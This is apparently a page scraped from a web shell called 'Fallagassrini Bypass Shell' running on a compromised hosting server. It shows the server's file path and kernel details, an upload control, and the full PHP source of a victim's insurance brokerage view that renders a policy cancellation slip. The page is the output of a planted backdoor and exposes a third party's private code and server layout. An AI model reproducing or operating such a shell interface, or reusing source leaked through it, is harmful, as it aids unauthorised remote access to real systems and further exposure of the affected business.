? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/www/savoyglobal.net/drafthr/system/application/views/Policies/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/www/savoyglobal.net/drafthr/system/application/views/Policies/viewcancellationslip.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');?>
<style>
    #topbar1
    {
         width:48%;
         font-size: 12px;

         color:#000;
         float:left;
         height:25px;
         margin-top: 20px;
         padding: 5px 0 0 5px;;
}
#topbar
    {
         width:48%;
         font-size: 11px;
         color:#000;
         float:left;

         padding: 10px 0 0 5px;;
}
.tables
{
    width:100%;
    margin-top: 10px 0 0 10px;
    float:left;
}
.ins
{
    width: 50%;
    float:left;

}
.ins2
{
    width: 50%;
    float:left;
    color:gray;

}

</style>
<?php
foreach($viewinfo as $updata)
{
    $cover_id=$updata['cover_id'];

    $customer_id=$updata['customer_id'];

    $placingslip_id=$updata['plid'];
    $qrefno=$updata['quotation_ref'];

    $currency=$updata['currencytype'];
    $company=$updata['insurance_company_id'];
    
    $premium=$updata['premiumchange'];
    $policyno=$updata['policyno'];
    
    $brokerage=$updata['brokerage'];
    $cancrefno=$updata['canrefno'];
    $canpolicyno=$updata['canpolicyno'];

}

$currency_type=$this->mastermodel->get_data_srow('country',$currency,'id');
  $cr=$this->mastermodel->get_data_srow('covers',$cover_id,'id');
  $type=$this->customermodel->getSingleFieldValue('customers','type','id',$customer_id);
            if($type=='Individual')
            {
            $name=$this->customermodel->getSingleFieldValue('customer_personal_ind','insured','customer_id',$customer_id);

            $business='NIL';
            }
            else
            {
             $name=$this->customermodel->getSingleFieldValue('customer_corp_info','insured','customer_id',$customer_id);
             $business=$this->customermodel->getSingleFieldValue('customer_corp_info','business_activity','customer_id',$customer_id);

            }

  //$templatetype=$this->mastermodel->get_data_srow('template_type',$templatetype_id,'id');

   $covername=$this->customermodel->getSingleFieldValue('covers','cover','id',$cover_id);



    $companyname=$this->mastermodel->get_data_srow('insurance_company',$company,'id');
    $stakeholders=$this->mastermodel->get_data('placing_slip_stakeholders',$placingslip_id,'placing_slip_id');
    //$placing_slip_paymentdetails=$this->mastermodel->get_data('placing_slip_paymentdetails',$placingslip_id,'placing_slip_id');
     $policyfeesname=$this->documentsmodel->getpolicyfeesname($placingslip_id);


    if(count($companyname)==0)
    {
        $comp_name='';
    }
    else
        {
        $comp_name=$companyname->company_name;
    }

?>

    <link href="<?=base_url()?>/assets/css/template.css" rel="stylesheet" type="text/css" />

    <div   style=" width:100%;background-color:#fff;font-size:11px;font-family:Arial; border:solid 1px #393939;color:#000; overflow:hidden;">



            <div> <div style="background-color: #cfd9db; margin-left: 5px;" id="topbar1"><div class="ins">Quotation Ref No:</div>
                    <div class="ins2"> <?=$qrefno?></div></div><div style="background-color: #cfd9db;" id="topbar1"><div class="ins">Policy No : </div><div class="ins2"><?=$policyno?></div></div>
            </div>
            <div> <div id="topbar"><div class="ins">Cancellation Ref No :</div><div class="ins2"> <?=$cancrefno;?></div></div>
                   <div id="topbar"><div class="ins">Cancellation Policy No: </div><div class="ins2"><?=$canpolicyno;?></div></div>
             </div>

             <div> <div id="topbar"><div class="ins">Insured :</div><div class="ins2"> <?=$name;?></div></div>
                   <div id="topbar"><div class="ins">Type Of Cover : </div><div class="ins2"><?=$covername;?></div></div>
             </div>

             <div> <div id="topbar"><div class="ins">Premium :</div><div class="ins2"> <?=$currency_type->currencycode?>.<?=number_format($premium, 2)?></div></div>

             </div>

             <div> <div id="topbar"><div class="ins">Insurance Company :</div><div class="ins2"> <?=$comp_name?></div></div>
                  
             </div>
      


            <?php
           $brokerage=$brokerage;
           $insurer= 100 - $brokerage;

           $brokeragecommission= $premium * ($brokerage/100);
           $insurercommission= $premium * ($insurer/100) ;

           $totalcommission=$brokeragecommission+$insurercommission;
            ?>


        <div class="tables"><div id="topbar">
                <table width="100%" class="sort">

                    <tr><th><label>Premium Distribution</label></th><th><label>%</label></th><th><label>Amount</label></th></tr>
                    <tr><td><label>Brokerage</label> </td><td><label><?=number_format($brokerage, 2, '.', '');?></label></td><td style="text-align:right"><label ><?=number_format($brokeragecommission, 2, '.', ',')?></label></td></tr>
                    <tr><td><label>Insurer</label></td><td><label><?=number_format($insurer, 2, '.', '');?></label></td><td style="text-align:right"><label><?=number_format($insurercommission, 2, '.', ',')?></label></td></tr>
                    <tr><td></td><td><label>Total(<?=$currency_type->currencycode?>)</label></td><td style="text-align:right"><label><?=number_format($totalcommission, 2, '.', ',') ?></label></td></tr>
                 </table></div>
                <div id="topbar">
                <table width="100%" class="sort">
                    <tr><th><label>Brokerage Distribution</label></th><th>%</th><th><label>Amount</label></th></tr>
                        <?php if (count($stakeholders)>0)
                        {

                         $v=1;
                         $sumpercent=0;
                         foreach($stakeholders as $stakeval)
                         {
                         $sumpercent=$sumpercent+$stakeval['percentage'];
                         $descamount= $premium *($stakeval['percentage']/100);
                         $staffname=$this->mastermodel->get_data_srow('staffpersonaldetails',$stakeval['staffid'],'id');
                         ?>

                    <tr id="brockingsplit<?=$v?>"><td><label><?=$staffname->name?></label></td><td><label><?=number_format($stakeval['percentage'], 2, '.', '')?></label></td><td style="text-align:right" ><p id="brockeramount<?=$v?>"><?=number_format($descamount, 2, '.', ',')?></p><input type="hidden" name="brokeragesplitupamt[]" value="0" id="brokeragesplitupamt<?=$v?>"></td></tr>
                         <?php
                         $v++;
                         }

                         $brokerpercent= $brokerage - $sumpercent;
                         $descamount= $premium *($brokerpercent/100);
                         $countcnt=$v-1;
                         ?>

                    <tr id="brockingsplit0"><td><label>Broker</label></td><td ><label><?=number_format($brokerpercent, 2, '.', '')?></label></td><td style="text-align:right"><p id="brockeramount0"><?=number_format($descamount, 2, '.', ',')?></p></td></tr>
                    <input type="hidden" name="countbrockamount" id="countbrockamount" value="<?=$countcnt?>">
                       <?php
                        }

                        else
                        {

                        ?>

                 <tr id="brockingsplit0"><td><label>Broker</label></td><td ><?=number_format($brokerage, 2, '.', '');?></td><td><?=number_format($brokeragecommission, 2, '.', ',')?></td></tr>
                         <?php
                        }

                        ?>

                <tr><td></td><td ><label>Total(<?=$currency_type->currencycode?>)</label></td><td ><label><?=number_format($brokeragecommission, 2, '.', ',')?></label></td></tr>
               </table></div>
        </div>
    </div>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net